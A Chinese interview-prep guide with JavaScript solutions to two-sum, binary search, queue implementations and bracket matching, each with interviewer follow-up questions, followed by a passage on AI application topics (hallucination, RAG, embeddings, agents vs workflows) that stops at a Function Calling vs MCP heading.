function findTowNumbers1(arr, n) {
  const res = []

  const length = arr.length
  if (length === 0) return res

  // 时间复杂度 O(n^2)
  for (let i = 0; i < length - 1; i++) {
    const n1 = arr[i]
    let flag = false // 是否得到了结果(两个数加起来等于n)

    // j从i + 1开始,获取第二个数n2
    for (let j = i + 1; j < length; j++) {
      const n2 = arr[j]

      if (n1 + n2 === n) {
        res.push(n1)
        res.push(n2)
        flag = true
        break // 调出循环
      }
    }

    // 调出循环
    if (flag) break
  }

  return res
}

查找和为 n 的两个数(双指针)

随便找两个数,如果和大于n的话,则需要向前寻找,如果小于n的话,则需要向后寻找 -- 二分的思想

/**
 * 查找和为 n 的两个数(双指针)
 * @param arr arr:number[]
 * @param n n:number
 */
function findTowNumbers2(arr, n) {
  const res = []

  const length = arr.length
  if (length === 0) return res

  // ![](https://s.poetries.top/uploads/2023/01/28cd379998c81e43.png)
  let i = 0 // 定义i指向头
  let j = length - 1 // 定义j指向尾
  // 求arr[i] + arr[j]的和,如果大于n,则j向前移动j--,如果小于n,则i向后移动i++

  // 时间复杂度 O(n)
  while (i < j) {
    const n1 = arr[i]
    const n2 = arr[j]
    const sum = n1 + n2

    if (sum > n) { //sum 大于 n ,则 j 要向前移动
      j--
    } else if (sum < n) { // sum 小于 n ,则 i 要向后移动
      i++
    } else {
      // 相等
      res.push(n1)
      res.push(n2)
      break
    }
  }

  return res
}
// 功能测试
const arr = [1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2,1, 2, 4, 7, 11, 15]
console.info(findTowNumbers2(arr, 15))
// 性能测试

// 寻找和为 n 的两个数(嵌套循环)
console.time('findTowNumbers1')
for (let i = 0; i < 100 * 10000; i++) {
    findTowNumbers1(arr, 15)
}
console.timeEnd('findTowNumbers1') // 730ms

// 查找和为 n 的两个数(双指针)
console.time('findTowNumbers2')
for (let i = 0; i < 100 * 10000; i++) {
    findTowNumbers2(arr, 15)
}
console.timeEnd('findTowNumbers2') // 102ms

// 结论:双指针性能优于嵌套循环方式

💬 面试官追问

  • 搜索页把无序数组 [7,1,11,4,2,15] 交给双指针函数查找和为 15 的元素,函数却返回空数组;候选人说双指针本来就是 O(n),你会指出哪个前提被破坏了?

    双指针移动方向依赖数组递增有序:和过大才能安全左移尾指针,和过小才能安全右移头指针。无序输入下这两个判断不能排除任何一段候选值,因此即使代码仍是 O(n) 也不保证正确;接口必须校验或明确要求有序输入。

  • 订单筛选模块拿到递增价格数组 [1,2,4,7,11,15] 和目标值 15,要求只返回第一组匹配值;你会让候选人怎样实现并说明停止条件?

    令 i 指向数组头、j 指向数组尾,在 i < j 时比较 arr[i]+arr[j]。和大于目标就执行 j--,小于目标就执行 i++,相等时返回 [arr[i],arr[j]] 并立即结束;若循环结束仍未命中,则返回空数组。

  • 数据接口可能返回空数组、重复值以及 [5,5] 配合目标值 10,产品又要求不能把同一个元素使用两次;现有双指针边界是否满足,重复值需要特殊去重吗?

    while (i < j) 保证两个值来自不同位置,所以 [5,5] 能合法命中,而单元素 [5] 不会把自身使用两次。若需求只是返回任意一组,重复值不需要额外去重;若改成返回所有组合,当前命中即 break 的实现就不再满足契约。

  • 线上函数偶发漏解,日志中的数组前半段反复出现 1、2,后半段才是 4、7、11、15,值班同事只对比了双指针和嵌套循环耗时;你会先排查什么?

    先检查完整数组是否仍保持递增,而不是被重复值或拼接顺序破坏;重复本身没有问题,乱序才会使指针移动依据失效。性能对比只能说明某次运行更快,不能证明结果正确;应先用嵌套循环或已知答案核对漏解样本,再追踪排序和数据拼接环节。

  • 技术负责人要在嵌套循环和双指针之间定方案:输入保证递增、单次只取任意一组,但代码评审者认为双层循环更直观;你如何权衡?

    在递增前提成立时应优先双指针,它只让两端指针单向移动,时间复杂度为 O(n),而嵌套循环最坏为 O(n^2)。双层循环可作为小规模基准实现或校验工具,但数据增长后成本明显放大;若上游无法守住有序契约,双指针的性能优势不能弥补错误结果。

# 实现二分查找并分析时间复杂度

⚡ 30 秒速记

  • 二分查找,每次都取1/2,缩小范围,直到找到那个数为止

二分查找是在有序数组中不断比较中间值并缩小一半范围,找到时返回索引,否则返回 -1。 若目标值小于中间值,就把结束位置移到左半区;若目标值更大,就把开始位置移到右半区。每轮都把查找范围减半,因此时间复杂度是 O(log n)。递归实现逻辑更直观,循环实现通常性能更好,因为没有多次函数调用;空数组也应直接返回 -1。

思路分析

二分查找,每次都取1/2,缩小范围,直到找到那个数为止

  • 递归,代码逻辑更加清晰
  • 非递归,性能更好
  • 二分查找时间复杂度 O(logn) 非常快

总结

  • 只要是可排序的,都可以用二分查找
  • 只要用二分的思想,时间复杂度必包含O(logn)

二分查找(循环)

/**
 * 二分查找(循环)
 * @param arr arr:number[]
 * @param target target:number 查找的目标值的索引
 */
function binarySearch1(arr, target) {
  const length = arr.length
  if (length === 0) return -1 // 找不到

  // ![](https://s.poetries.top/uploads/2023/01/2f43f28ec7699c17.png)
  // startIndex、endIndex当前查找区域的开始和结束
  let startIndex = 0 // 查找的开始位置
  let endIndex = length - 1 // 查找的结束位置

  // startIndex和endIndex还没有相交,还是有查找的范围的
  while (startIndex <= endIndex) {
    const midIndex = Math.floor((startIndex + endIndex) / 2)
    const midValue = arr[midIndex] // 获取中间值
    if (target < midValue) { // 查找的目标值小于中间值
      // 目标值较小,则继续在左侧查找
      endIndex = midIndex - 1
    } else if (target > midValue) { // 查找的目标值大于中间值
      // 目标值较大,则继续在右侧查找
      startIndex = midIndex + 1
    } else {
      // 相等,返回目标值的索引
      return midIndex
    }
  }

  return -1 // startIndex和endIndex相交后还是找不到返回-1
}

二分查找(递归)

/**
 * 二分查找(递归)
 * @param arr arr:number[]
 * @param target target:number 查找的目标值的索引
 * @param startIndex?:number start index 二分查找区间的开始位置
 * @param endIndex?:number end index 二分查找区间的结束位置
 */
function binarySearch2(arr, target, startIndex, endIndex) {
  const length = arr.length
  if (length === 0) return -1

  // 开始和结束的范围
  if (startIndex == null) startIndex = 0
  if (endIndex == null) endIndex = length - 1

  // 如果 start 和 end 相遇,则结束
  if (startIndex > endIndex) return -1

  // 中间位置
  const midIndex = Math.floor((startIndex + endIndex) / 2)
  const midValue = arr[midIndex] // 中间值

  if (target < midValue) {
    // 目标值较小,则继续在左侧查找 endIndex = midIndex - 1 往左移动一点
    return binarySearch2(arr, target, startIndex, midIndex - 1)
  } else if (target > midValue) {
    // 目标值较大,则继续在右侧查找 startIndex = midIndex + 1 往右移动一点
    return binarySearch2(arr, target, midIndex + 1, endIndex)
  } else {
    // 相等,返回
    return midIndex
  }
}
// 功能测试
const arr = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120]
const target = 40
console.info(binarySearch2(arr, target))
// 性能测试

// 二分查找(循环)
console.time('binarySearch1')
for (let i = 0; i < 100 * 10000; i++) {
  binarySearch1(arr, target)
}
console.timeEnd('binarySearch1') // 17ms

// 二分查找(递归)
console.time('binarySearch2')
for (let i = 0; i < 100 * 10000; i++) {
  binarySearch2(arr, target)
}
console.timeEnd('binarySearch2') // 34ms

// 结论:二分查找(循环)比二分查找(递归)性能更好,递归过程多次调用函数导致性能慢一点

💬 面试官追问

  • 商品列表按更新时间而不是价格排列,候选人仍用二分查找价格 40,偶尔找到、偶尔返回 -1;你会怎样解释这种现象?

    二分查找依赖查找区间按比较规则有序,否则目标小于或大于中间值时,不能安全排除另一半数据。偶尔命中只是目标碰巧落在访问过的位置,并不代表算法有效;调用方必须提供有序数组,或者改用与当前数据组织方式匹配的查找方案。

  • 前端缓存中有百万级递增编号,页面频繁判断某编号是否存在;候选人提交递归版和循环版,你会倾向哪一个,并要求他说明复杂度吗?

    两种实现每轮都把区间缩小一半,查找时间复杂度都是 O(log n)。在同等逻辑下更倾向循环版,因为它避免多次函数调用,源码给出的性能测试也显示循环实现更快;递归版可读性较清晰,但仍需正确传递收缩后的边界。

  • 索引数组包含多个连续的 40,产品要求返回第一个 40,现有代码命中中点后立即 return midIndex;这个实现能否承诺结果,应该怎样调整验收标准?

    现有实现只能返回某个命中的索引,不能承诺是第一个重复值,因为命中位置取决于区间中点。若接口要求首个位置,命中后还需继续收缩左侧区间并保存候选索引;若不改实现,契约只能写成返回任意匹配索引。

  • 某次重构把循环条件从 startIndex <= endIndex 改为 startIndex < endIndex,线上出现数组只剩一个候选位置时误报不存在;你会用什么最小样本定位?

    用单元素数组 [40] 查找 40,或构造目标最终落在收缩区间唯一端点的样本,就能暴露遗漏。闭区间实现中 startIndex === endIndex 时仍有一个元素必须检查,因此条件应保留 <=;同时确认左右收缩使用 midIndex-1 和 midIndex+1,否则还可能死循环。

  • 架构评审中有人说“任何可排序数据都先排序再二分,复杂度就是 O(log n)”;面对一次性搜索页面,你会接受这个结论吗?

    不能只把查找阶段的 O(log n) 当成完整成本,因为二分查找成立前必须已经具备有序数据。若页面只查一次,准备有序数据的代价可能主导总成本;只有数据已排序或会被反复查询时,二分查找的优势才更容易兑现。

# 实现队列功能

⚡ 30 秒速记

    1. 请用两个栈,实现一个队列功能

用两个栈可以实现先进先出的队列:入队时压入 stack1,出队时借助 stack2 反转元素顺序。 调用 delete 时,把 stack1 全部移到 stack2,弹出栈顶,再将剩余元素移回 stack1。这样 add 是 O(1),当前写法的 delete 是 O(n),整体空间复杂度为 O(n)。数据量较大时,我一般用同时维护 head、tail 和长度的链表,让入队、出队都只修改指针,避免数组 shift 搬移元素。

1. 请用两个栈,实现一个队列功能

功能 add/delete/length

  • 数组实现队列,队列特点:先进先出
  • 队列是逻辑结构,抽象模型,简单的可以用数组、链表来实现

/**
 * @description 两个栈实现 - 一个队列功能
 */

class MyQueue {
    stack1 = []
    stack2 = []

    /**
     * 入队
     * @param n n
     */
    add(n) {
      this.stack1.push(n)
    }

    /**
     * 出队
     */
    delete() {
      let res

      const stack1 = this.stack1
      const stack2 = this.stack2

      // 第一步:将 stack1 所有元素移动到 stack2 中
      while(stack1.length) {
          const n = stack1.pop()
          if (n != null) {
              stack2.push(n)
          }
      }

      // 第二步:stack2 pop 出栈
      res = stack2.pop()

      // 第三步:将 stack2 所有元素“还给”stack1
      while(stack2.length) {
          const n = stack2.pop()
          if (n != null) {
              stack1.push(n)
          }
      }

      return res || null
    }

    // 通过属性.length方式调用
    get length() {
      return this.stack1.length
    }
}
// 功能测试
const q = new MyQueue()
q.add(100)
q.add(200)
q.add(300)
console.info(q.length)
console.info(q.delete())
console.info(q.length)
console.info(q.delete())
console.info(q.length)

性能分析:时间复杂度:add O(1)、delate O(n) 空间复杂度整体是O(n)

2. 使用链表实现队列

可能追问:链表和数组,哪个实现队列更快?

  • 数组是连续存储,push很快,shift很慢
  • 链表:查询慢(把链表全部遍历一遍查询)时间复杂度:O(n),新增和删除快(修改指针指向)时间复杂度:O(1)
  • 数组:查询快(根据下标)时间复杂度:O(1),新增和删除慢(移动元素)时间复杂度:O(n)
  • 结论:链表实现队列更快

思路分析

  • 使用单项链表,但要同时记录head和tail
  • 要从tail入队,从head出队,否则出队时tail不好定位
  • length要实时记录单独存储,不可遍历链表获取length(否则遍历时间复杂度是O(n))
// 用链表实现队列

// 节点数据结构
interface IListNode {
  value: number
  next: IListNode | null
}

class MyQueue {
  head = null // 头节点,从head出队
  tail = null // 尾节点,从tail入队
  len = 0 // 链表长度

  /**
   * 入队,在 tail 位置入队
   * @param n number
   */
  add(n) {
    const newNode = {
      value: n,
      next: null,
    }

    // 处理 head,当前队列还是空的
    if (this.head == null) {
      this.head = newNode
    }

    // 处理 tail,把tail指向新的节点
    const tailNode = this.tail // 当前最后一个节点
    if (tailNode) {
      tailNode.next = newNode // 当前最后一个节点的next指向新的节点
    }
    // ![](https://s.poetries.top/uploads/2023/01/843c681c06e65a9c.png)
    // 把当前最后一个节点断开,指向新的节点
    this.tail = newNode 

    // 记录长度
    this.len++
  }

  /**
   * 出队,在 head 位置出队
   */
  delete() {
    const headNode = this.head
    if (headNode == null) return null
    if (this.len <= 0) return null

    // 取值
    const value = headNode.value

    // 处理 head指向下一个节点
    // ![](https://s.poetries.top/uploads/2023/01/3d2d72a7370b826a.png)
    this.head = headNode.next

    // 记录长度
    this.len--

    return value
  }

  get length() {
    // length 要单独存储,不能遍历链表来获取(否则时间复杂度太高 O(n))
    return this.len
  }
}
// 功能测试

const q = new MyQueue()
q.add(100)
q.add(200)
q.add(300)

console.info('length1', q.length)
console.log(q.delete())
console.info('length2', q.length)
console.log(q.delete())
console.info('length3', q.length)
console.log(q.delete())
console.info('length4', q.length)
console.log(q.delete())
console.info('length5', q.length)
// 性能测试

var q1 = new MyQueue()
console.time('queue with list')
for (let i = 0; i < 10 * 10000; i++) {
  q1.add(i)
}
for (let i = 0; i < 10 * 10000; i++) {
  q1.delete()
}
console.timeEnd('queue with list') // 12ms

// 数组模拟入队出队
var q2 = []
console.time('queue with array')
for (let i = 0; i < 10 * 10000; i++) {
  q2.push(i) // 入队
}
for (let i = 0; i < 10 * 10000; i++) {
  q2.shift() // 出队
}
console.timeEnd('queue with array') // 425ms

// 结论:同样的计算量,用数组和链表实现相差很多,数据量越大相差越多

💬 面试官追问

  • 消息队列的元素允许是数字 0,两栈实现执行 delete() 后却返回 null;你在代码评审中会锁定哪一行,为什么这是语义错误而非边界约定?

    问题出在 return res || null,因为合法值 0 是假值,会被错误替换成 null。应按是否实际出队判断空队列,而不是按元素真值判断;队列若允许其他假值,同类写法也会混淆数据与空状态。

  • 浏览器任务调度器需要 add、delete 和 length,峰值积压十万条;候选人用数组 push 入队、shift 出队,你会建议怎样落地?

    数组 push 很快,但 shift 会移动后续元素,频繁出队时成本会随队列长度增长。可用同时保存 head、tail 的单向链表,从尾部入队、头部出队,并单独维护 len,使新增、删除和读取长度都保持 O(1)。

  • 产品坚持用“两个栈实现队列”,当前代码每次出队都把 stack1 全量倒入 stack2,取值后又全部倒回;连续出队时会出现什么成本特征?

    当前实现的 add 是 O(1),但每次 delete 都搬运队列中的大部分元素,单次时间复杂度为 O(n),整体空间为 O(n)。连续大量出队会重复搬运同一批元素,因此不适合高吞吐场景;若题目限定必须按源码方案实现,就应明确这一性能边界。

  • 链表队列删除最后一个节点后,监控显示 length 已为 0,但调试器里 tail 仍指向旧节点;你会如何修复并验证空队列状态?

    当删除使 len 变为 0 时,应同时把 head 和 tail 设为 null,保证空队列状态一致。随后验证空队列出队返回 null、重新入队后首尾都指向新节点;若只更新 head,残留的 tail 会增加状态理解和对象引用风险。

  • 团队在两栈方案和链表方案间争论:面试题强调栈的组合能力,生产代码强调持续入队出队性能;你会怎样给出选择?

    若考查“两个栈实现先进先出”,应按栈倒序解释正确性,并明确当前版本 delete 为 O(n)。若生产场景有大量持续出队,链表通过尾入头出可将增删保持在 O(1),更符合队列访问模式;代价是节点结构和首尾指针维护更复杂。

# 手写判断一个字符串"{a(b[c]d)e}f"是否括号匹配

⚡ 30 秒速记

  • 利用栈先进后出的思想实现括号匹配,时间复杂度O(n),空间复杂度O(n)

括号匹配适合用栈实现:遇到左括号就入栈,遇到右括号就检查它是否和栈顶成对。 如果匹配,就弹出栈顶;如果类型不一致,或者没有可匹配的左括号,立即返回 false。遍历结束后,只有栈为空才说明所有括号都闭合,字符串中的普通字符可以直接跳过。该实现只扫描一次字符串,时间复杂度是 O(n),最坏空间复杂度也是 O(n)。

/**
 * 判断是否括号匹配
 * @param str str
 */
function matchBracket(str) {
    const length = str.length
    if (length === 0) return true

    const stack = []

    const leftSymbols = '{[('
    const rightSymbols = '}])'

    for (let i = 0; i < length; i++) {
        const s = str[i]

        if (leftSymbols.includes(s)) {
            // 左括号,压栈
            stack.push(s)
        } else if (rightSymbols.includes(s)) {
            // 右括号,判断栈顶(是否出栈)
            const top = stack[stack.length - 1]
            if (isMatch(top, s)) {
                stack.pop()
            } else {
                return false
            }
        }
    }

    return stack.length === 0
}

/**
 * 判断左右括号是否匹配
 * @param left 左括号
 * @param right 右括号
 */
function isMatch(left, right) {
  if (left === '{' && right === '}') return true
  if (left === '[' && right === ']') return true
  if (left === '(' && right === ')') return true
  return false
}

// 功能测试
// const str = '{a(b[c]d)e}f'
// console.log(matchBracket(str))

利用栈先进后出的思想实现括号匹配,时间复杂度O(n),空间复杂度O(n)

💬 面试官追问

  • 代码编辑器校验字符串 ([)] 时,候选人只统计三类左、右括号数量相等,页面因此显示“匹配成功”;你会用什么理由否定这种实现?

    数量相等不能保证嵌套顺序正确,([)] 的第一个右括号 ) 与当前栈顶 [ 并不匹配。扫描时应把左括号压栈,遇到右括号只与栈顶比较,匹配才出栈;任意错配都应立即返回 false。

  • 模板编辑页需要校验 {a(b[c]d)e}f,其中字母和普通字符应被忽略;你会要求候选人怎样组织扫描逻辑和最终返回条件?

    逐字符扫描,只对 {[( 执行入栈,对 }]) 棓查栈顶并决定是否出栈,其他字符直接跳过。扫描结束后必须确认 stack.length === 0,这样既能接受普通文本,也能拒绝仍有左括号未闭合的输入。

  • 日志解析服务可能收到空字符串、单独的 } 或只包含 ((( 的内容;现有实现分别应该返回什么,依据是什么?

    空字符串没有未闭合括号,应返回 true;单独的 } 在空栈上无法匹配,应立即返回 false。只包含 ((( 虽然扫描中没有发生错配,但结束时栈不为空,因此返回 false;这两个失败路径不能只保留其中一个。

  • 线上校验偶发把 foo]bar 判为通过,值班同事发现有人在栈为空时直接忽略右括号;你会怎样构造回归用例并修正?

    加入 ]、foo]bar、{] 和合法的 {a[b]} 作为最小回归样本,覆盖空栈右括号、类型错配和正常嵌套。遇到右括号时,无论栈是否为空都必须调用匹配判断,栈顶不存在自然判为失败;忽略多余右括号会接受结构已损坏的文本。

  • 页面一次校验百万字符模板,架构师担心栈会复制全部文本;你如何说明当前方案的时间、空间以及最坏边界?

    算法只顺序扫描一次文本,时间复杂度为 O(n),并且栈中只保存尚未匹配的左括号,不会复制所有普通字符。空间最坏仍为 O(n),例如输入全部由左括号组成时每个字符都会入栈;无法降低这一实现的最坏空间时,应限制输入规模或分段控制资源。

# 15 AI 应用开发高频题

冲刺用法:先只看每题的「30 秒速记」并口述两分钟;答不完整再展开详细解析。面试官更看重你能否把模型能力接进可靠的产品链路,而不是背出多少模型名和版本号。

# 大语言模型为什么会产生幻觉,工程上怎么降低?

⚡ 30 秒速记

  • LLM 的目标是预测下一个 token,不是查询事实数据库;“说得通顺”不等于“事实正确”
  • 知识类问题用 RAG 或搜索补证据,规则类问题用结构化约束,数值和权限结果交给代码校验
  • 提示词要求“不知道就拒答”只能降低风险,不能从根源保证事实正确
  • 生产链路要保留引用、置信信号和人工兜底,并用固定评测集持续检查命中率与幻觉率

LLM 本质上是在预测下一个 token,并不是查询事实数据库,所以表达通顺不代表内容真实。 当资料缺失、问题含糊或上下文冲突时,模型仍可能补出看似完整的事实、链接和数字。工程上,知识问题用 RAG 或搜索补证据,金额、日期、库存和权限等确定结果交给数据库、工具或规则校验,并设置拒答阈值和引用检查。降低 temperature 或要求“不知道就拒答”只能减少风险,生产环境仍要用固定评测集持续检查正确率、引用准确率和拒答率。

模型接收上下文后,根据已学到的统计关系逐个生成 token。当资料缺失、问题含糊或上下文互相冲突时,它仍倾向于给出形式完整的答案,因此可能虚构事实、链接和数字。降低幻觉要先按错误类型拆解:需要外部知识时,通过 RAG 或联网搜索提供可引用的原文;金额、日期、库存、权限等确定性结果,通过数据库、工具或规则引擎计算;输出交给 JSON Schema 校验,只能保证结构,不代表内容真实。

工程上还要明确拒答阈值,让答案携带引用片段并检查引用是否真的支持结论。上线前准备包含正常、边界、冲突和无答案样本的评测集,记录检索召回率、答案正确率、引用准确率和拒答率。降低 temperature 可以减少随机性,却不能给模型补充不知道的事实;微调更适合固化行为和格式,也不是动态知识库的替代品。

💬 面试官追问

  • 客服页面已经展示了检索原文,模型却把原文没有提到的退款期限补成“到账后 7 天”,这能说明 RAG 已经解决幻觉了吗?

    不能,RAG 只提供外部证据,不保证模型忠于证据。应检查正确片段是否被召回、排序是否靠前,以及结论是否能被引用原文直接支持;证据缺失时必须触发拒答,而不是让模型补全数字。

  • 财务对账页要回答订单金额、结算日期和退款状态,你会把哪些内容交给模型生成,哪些内容必须走数据库或工具?

    金额、日期和状态应由数据库查询或确定性工具返回,模型只负责理解意图和组织说明。工具参数要校验,结果应保留来源;即使输出通过 JSON Schema,也只能证明结构合法,不能证明数值真实。

  • 产品经理要求把 temperature 调成 0,并认为这样就能在无答案的知识库问答页消除幻觉,你会怎么判断?

    temperature 设为 0 只能降低采样随机性,无法补充上下文中不存在的事实。模型仍可能稳定地产生同一个错误答案,因此还要设置证据阈值、拒答策略和引用校验,代价是部分问题会被保守拒绝。

  • 上线后答案正确率下降,但日志只保存了最终文本;你会怎样判断是检索、引用还是生成环节出了故障?

    仅凭最终文本无法定位故障,需要补录检索候选、排序结果、输入片段、引用关系和模型输出。用评测集分别测召回率、答案正确率、引用准确率与拒答率;缺少链路日志时,只能复现样本后做有限推断。

  • 运营希望通过微调记住每天变化的库存和价格,算法同学主张改用工具查询,你会选哪种方案?

    动态库存和价格应通过数据库或工具实时查询,微调不适合作为动态知识库。微调更适合固化语气、行为和输出格式;采用实时查询会增加接口治理与失败处理成本,但能避免模型凭过期参数生成确定性事实。

# 什么是 RAG,一条可靠的 RAG 链路包含哪些步骤?

⚡ 30 秒速记

  • RAG 是先检索外部资料,再把相关证据放进上下文让模型生成答案
  • 离线链路包括清洗、切片、元数据、Embedding 和建索引;在线链路包括改写、召回、重排、组装上下文和生成
  • 只做向量相似度不够,生产中常用关键词与向量混合检索,再用 Reranker 精排
  • 评测要拆成检索与生成两层,分别看召回、排序、忠实度、引用和拒答

RAG 就是先从外部资料中检索证据,再把相关片段放进上下文,让模型基于证据生成答案。 离线阶段要清洗和切片文档,保留来源、时间与权限等元数据,再生成 Embedding 并建立索引。在线阶段通常会改写查询,结合关键词和向量召回,去重后用 Reranker 精排,再组装上下文、生成答案并标注引用。切片过小会丢语义,过大又会增加噪声;企业场景还必须在检索前或检索时过滤权限,并分别评测召回效果和答案忠实度。

离线阶段先解析文档,清理页眉页脚和重复内容,再按语义边界切片并保留标题、来源、权限、时间等元数据。随后用同一套 Embedding 模型生成向量并建立索引。在线阶段可先把多轮问题改写成独立查询,同时进行关键词与向量召回,合并去重后用 Reranker 精排,最后在上下文预算内拼接最相关片段,并要求模型基于片段回答和标注引用。

切片不是越小越好:太小会丢语义,太大则会引入噪声并浪费上下文。企业场景还必须在检索前或检索时做权限过滤,不能先取回敏感内容再指望提示词不展示。评测时先检查正确证据是否进入前 K 个结果,再检查答案是否忠于证据;否则最终答错时无法判断是召回、排序还是生成出了问题。

💬 面试官追问

  • 知识库页面把整份 200 页手册直接塞进长上下文,产品认为这已经等价于 RAG,你会指出什么差异?

    两者不等价,长上下文没有完成针对查询的召回、精排、权限过滤和引用链路。整份文档会带来更多噪声与上下文消耗,相关内容也可能被忽略;RAG 的代价是需要维护切片、索引和评测体系。

  • 你要为企业帮助中心搭建一条可审计的 RAG 链路,从文档入库到页面展示答案会保留哪些关键步骤?

    离线先清洗重复内容,按语义切片并保留标题、来源、权限和时间,再生成 Embedding 和索引。在线改写独立查询,融合关键词与向量召回,经 Reranker 精排后按预算拼接,并要求答案附带可核验引用。

  • 法务要求不同租户绝不能看到彼此合同,有人建议先召回全部片段,再在提示词里要求模型隐藏敏感内容,你会接受吗?

    不能接受,权限过滤必须发生在检索前或检索过程中,敏感片段不应进入模型上下文。索引元数据要包含租户和权限,并由服务端强制过滤;这样会增加索引设计复杂度,但提示词不能充当访问控制。

  • 文档更新后,页面仍引用旧条款;索引任务显示成功,你会沿着哪些数据检查陈旧内容从哪里进入?

    应核对文档版本或内容哈希、切片删除记录、新向量写入结果以及在线索引指向。还要检查旧切片是否残留、切流是否完成,并监控失败任务和陈旧数据比例;只重建新内容而不删除旧片段会造成版本混杂。

  • 评测集中最终答案答错了,团队准备直接更换生成模型;在动模型前你会先看哪两类指标?

    先看正确证据是否进入前 K 个结果,再看模型拿到证据后是否忠实作答。前者可定位召回和排序,后者定位生成与引用;若不拆分评测,换模型可能掩盖检索缺陷,还会增加迁移成本。

# Embedding 和向量数据库分别解决什么问题?

⚡ 30 秒速记

  • Embedding 把文本映射成稠密向量,让语义相近的内容在向量空间中更接近
  • 向量数据库负责存储、近似最近邻检索、元数据过滤和索引维护,它本身不理解业务答案
  • 同一索引的文档和查询应使用兼容的 Embedding 模型;换模型通常需要重建向量
  • 语义检索擅长同义表达,关键词检索擅长编号、专有名词和精确短语,混合检索更稳

Embedding 负责把文本语义转换成固定维度的向量,向量数据库负责高效找出距离相近的内容。 检索时会用余弦相似度等方式衡量接近程度,向量库则借助近似最近邻索引减少全量扫描,并保存来源、租户和权限等元数据。更换模型、维度或归一化方式后,新旧向量通常不能直接混用,需要双写或重建索引。对于错误码、产品型号这类精确字符,我一般会融合 BM25 召回,并用 Recall@K、MRR 等指标评测效果。

Embedding 模型接收文本并输出固定维度向量,检索时用余弦相似度、点积或欧氏距离衡量接近程度。向量数据库则通过近似最近邻索引减少全量扫描成本,同时保存文档标识、来源、租户和权限等元数据。它返回的是相似候选,不等于事实正确,也不会替代重排、权限校验和答案生成。

如果更换 Embedding 模型、维度或归一化方式,旧向量和新查询通常不在同一空间,必须双写或重建索引后再切流。真实业务不应只凭主观试问判断效果,而要用标注过的查询集合测 Recall@K、MRR 等检索指标。对于错误码、合同编号和产品型号这类精确字符,BM25 等关键词检索往往优于纯向量召回,所以常把两路结果融合后再排序。

💬 面试官追问

  • 商品搜索页里“AB-1207”被向量检索成语义相近但型号不同的产品,为什么高相似度不能证明结果正确?

    向量相似度只表示在当前表示空间中接近,不代表字符匹配或事实正确。错误码、合同编号和产品型号更适合由 BM25 等关键词检索补充,再融合重排;纯向量方案会牺牲精确标识的可靠性。

  • 千万级文档切片要支持语义检索,Embedding 模型和向量数据库在链路中分别承担什么工程职责?

    Embedding 把查询和文本映射为固定维度向量,向量数据库用近似最近邻索引减少全量扫描,并保存来源、租户和权限元数据。数据库返回的只是候选集,后续仍需重排、权限校验和答案生成。

  • 算法团队要更换 Embedding 模型并调整维度,却希望继续用旧索引直接承接新查询,你会如何处理切换?

    新旧向量通常不在同一空间,不能默认直接混用。应双写新旧向量或完整重建索引,完成离线评测后再切流,并保留回退路径;代价是迁移期存储、计算和索引维护成本会上升。

  • 线上日志显示召回片段相似度很高,但客服认为内容普遍跑题,你会先检查哪些数据和处理环节?

    先检查切片是否混入页眉、模板和重复文本,再看查询是否过宽、模型是否适配当前语言与领域。随后用标注查询测 Recall@K、MRR 并校准阈值;只观察相似度分数无法证明业务相关性。

  • 架构评审中有人主张把向量维度翻倍来提升召回,另一方希望先做混合检索,你会依据什么选型?

    不能由维度大小直接推断效果,应以业务标注集上的检索指标决定。若查询包含大量精确字符,优先评估关键词与向量融合后重排;更高维度还会增加存储、传输和检索成本,收益不足时不值得采用。

# Agent、工作流和普通对话应用有什么区别?

⚡ 30 秒速记

  • 普通对话是一次或多次模型生成;工作流由代码预先规定步骤;Agent 让模型根据状态决定下一步动作
  • Agent 常见循环是观察状态、规划、调用工具、读取结果、继续或终止
  • 能确定的业务流程优先写成工作流,只有步骤无法预先枚举时才引入更强自主性
  • 生产实现必须限制工具、参数、步数、成本和权限,并支持超时、重试、幂等与人工接管

普通对话主要生成回复,工作流由代码固定执行路径,而 Agent 会根据当前状态和工具结果决定下一步。 工作流的分支容易测试和审计,适合分类、检索、审核这类确定流程;Agent 更适合开放式研究或步骤难以预先枚举的任务。工程上能写成规则的部分应留在代码里,只把模糊判断交给模型。引入 Agent 后还要限制工具权限、步数、预算和超时,写操作设置确认与幂等机制,高风险动作交给人工审批。

普通聊天通常把用户输入交给模型后直接返回文本;确定性工作流由代码编排分类、检索、审核和通知等节点,每条分支可以测试和审计。Agent 则根据当前目标、上下文和工具结果选择下一步,因此适合开放式研究、跨系统排障或步骤难以提前枚举的任务,但延迟、成本和失败路径也更不可预测。

工程上不应默认追求全自主。能用代码表达的规则应留在代码里,把模糊判断交给模型。每个工具都要使用最小权限和严格参数校验,写操作设置确认点与幂等键;循环必须有最大步数、预算、超时和终止条件。还要保存每一步的输入、工具调用、结果和错误,方便回放与审计。高风险动作应切换到人工审批,而不是只靠系统提示词约束。

💬 面试官追问

  • 报销审批页面只有“校验额度—主管审核—财务入账”三步,团队却想让 Agent 自主决定下一步,你会支持吗?

    不支持默认使用 Agent,固定且高风险的步骤更适合由确定性工作流编排。模型可参与材料分类或生成审核建议,但最终分支和入账规则应留在代码中;这样自主性较低,却更容易测试和审计。

  • 跨系统排障助手需要查日志、读工单再决定是否调用诊断工具,你会为工具执行补上哪些控制?

    每个工具都应采用最小权限、严格参数校验,并完整记录输入、调用结果和错误。写操作还要设置确认点与幂等键,高风险动作转人工审批;这些控制会增加交互步骤,但不能只靠系统提示词约束副作用。

  • 同一套助手既要做开放式故障研究,又要执行生产环境重启,产品要求全程无人值守,你会怎样划分边界?

    开放式研究可以交给 Agent 选择检索和诊断步骤,生产重启则应进入受控工作流并等待人工确认。规则明确的部分由代码执行,模糊判断交给模型;边界收紧会降低自动化程度,但能限制高风险误操作。

  • 线上 Agent 连续调用同一个查询工具,延迟和费用持续增长却没有新结果,你会怎样终止并保留恢复能力?

    应检测重复调用和连续无状态进展,并结合最大步数、总预算、超时与显式终止条件提前停止。每一步保存检查点、工具结果和错误,供回放或人工接管;过严的限制也可能截断本可完成的长任务。

  • 客服机器人只需根据知识库直接回复文本,却计划引入多工具 Agent;普通对话、工作流和 Agent 该怎么取舍?

    单轮问答优先普通对话加检索,固定的审核或通知链路用确定性工作流,只有步骤难以预先枚举时再引入 Agent。选择越自主,延迟、成本和失败路径越不可预测,因此应按任务开放程度逐级增加能力。

# Function Calling 与 MCP 有什么区别?

⚡ 30 秒速记

